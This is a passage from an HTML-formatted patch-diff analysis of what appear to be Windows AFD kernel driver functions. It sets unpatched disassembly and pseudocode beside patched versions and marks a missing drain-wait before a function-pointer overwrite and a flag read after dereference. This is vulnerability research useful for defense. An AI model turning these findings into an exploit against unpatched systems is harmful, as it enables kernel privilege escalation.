&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED: AfdCreateConnection @ 0x1C0049240 (handle supplied) ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// no feature gate - validation always runs&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ObReferenceObjectByHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;base_a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;base_b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IoGetRelatedDeviceObject&lt;/span&gt;&lt;span class="p"&gt;(...));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base_a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base_b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;AfdTLListenComplete&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;UNPATCHED success path at &lt;code&gt;0x1C00597D0&lt;/code&gt; (no wait between the swap and the indirect call):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005982A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+18h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005982E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdTLDontCareIOCompletion&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0059835&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0059843&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overwrite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0059847&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+18h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overwrite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0059850&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0059853&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CFG&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;guarded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;indirect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;PATCHED success path at &lt;code&gt;0x1C005A960&lt;/code&gt; (adds the feature-gated drain-wait on &lt;code&gt;[rbx+0xf8]&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9BA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9BE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_3289849145_60513071_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9C5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9D5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overwrite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9D9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overwrite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9DD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9E2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C005A9F6&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;wait&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pause&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9EA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;F8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;flight&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A9F4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C005A9E8&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;until&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drained&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005AA0C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005AA13&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2: &lt;code&gt;AfdDoDatagramConnect&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;UNPATCHED &lt;code&gt;LABEL_42&lt;/code&gt; at &lt;code&gt;0x1C0064510&lt;/code&gt; (reads flag after the dereference):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0064510&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ObfDereferenceObject&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0064516&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;100&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deref&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006451D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0064532&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006451F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;49646641&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;AfdI&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0064524&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MasterIrp&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0064527&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExFreePoolWithTag&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;PATCHED &lt;code&gt;LABEL_42&lt;/code&gt; at &lt;code&gt;0x1C005A719&lt;/code&gt; (caches the flag before the dereference when enabled):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A719&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A720&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C005A72E&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A722&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deref&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A726&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A72A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x100&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A732&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ObfDereferenceObject&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A73F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;
